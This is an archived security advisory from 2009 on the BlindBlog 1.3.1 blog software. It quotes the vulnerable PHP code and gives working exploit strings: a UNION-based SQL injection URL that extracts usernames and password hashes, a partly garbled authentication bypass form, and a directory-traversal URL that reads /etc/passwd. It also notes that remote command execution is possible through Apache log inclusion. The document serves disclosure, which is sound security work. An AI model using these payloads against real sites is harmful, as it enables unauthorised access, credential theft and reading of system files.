Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Blogs :: va2766.htm

BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)



BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)
BlindBlog 1.3.1 Multiple Vulnerabilities (SQL Inj - Auth Bypass - LFI)



*******   Salvatore "drosophila" Fresta   *******

[+] Application: BlindBlog
[+] Version: 1.3.1
[+] Website: http://sourceforge.net/projects/cbblog/ 

[+] Bugs: [A] SQL Injection
          [B] Authentication Bypass
          [C] Local File Inclusion

[+] Exploitation: Remote
[+] Date: 03 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com 


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: comment.php

All queries are vulnerable.
This bug allows a guest to view username and the
password of a registered user.

$id = (isset($_GET['id']) && $_GET['id'] !='') ?  $_GET['id'] : getlastid();

	$SQL = "SELECT comment,author,contact,date FROM `cblog_comments`
WHERE `pid` = '$id' ORDER BY `cid` DESC";
	$resulted = $db->query($SQL, $querys);
	while ($result = mysql_fetch_assoc($resulted))
		$comments[] = $result;


- [B] Authentication Bypass

[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin.login.php

	$username = $_POST['username'];
	$password = md5($_POST['password']);
	include('./db_config.php');
	$db = new db_stuff;
	$db->connect();
	$result = $db->query("SELECT * FROM `cblog_users` WHERE `username` '$username'", $querys);
	if (mysql_num_rows($result) > 1 || mysql_num_rows($result) < 1)
	{
		echo "Incorrect username";
		exit;
	}
	$result = mysql_fetch_assoc($result);
	if ($result['password'] !== $password)
	{
		echo 'Incorrect Password';
		exit;
	}


- [C] Local File Inclusion

[-] Requisites: none
[-] File affected: admin.php

This bug allow an admin to include local files.
It is possible bypass authentication using the
previous bug.
With this bug is possible to execute remote
commands using Apache logs.

...
} else if (isset($_GET['act']) && $_SESSION['is_admin'])
{
	$loc = 'admin.'.$_GET['act'].'.php';
	include('./'.$loc);
}
...


*************************************************

[+] Code


- [A] SQL Injection

http://www.site.com/path/comment.php?id=-1' UNION ALL SELECT 
NULL,CONCAT(username, char(58), password),3,4 FROM cblog_users%23


- [B] Authentication Bypass


	
		BlindBlog 1.3.1 Authentication Bypass Exploit
	
	
action="http://www.site.com/path/admin/admin.login.php?go=1" method="POST">
- [C] Local File Inclusion Tested on MAC OSX: /Applications/xampp/xamppfiles/htdocs/cbblog/admin/admin.php http://www.site.com/path/admin/admin.php?act=/../../../../../../../etc/passwd


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH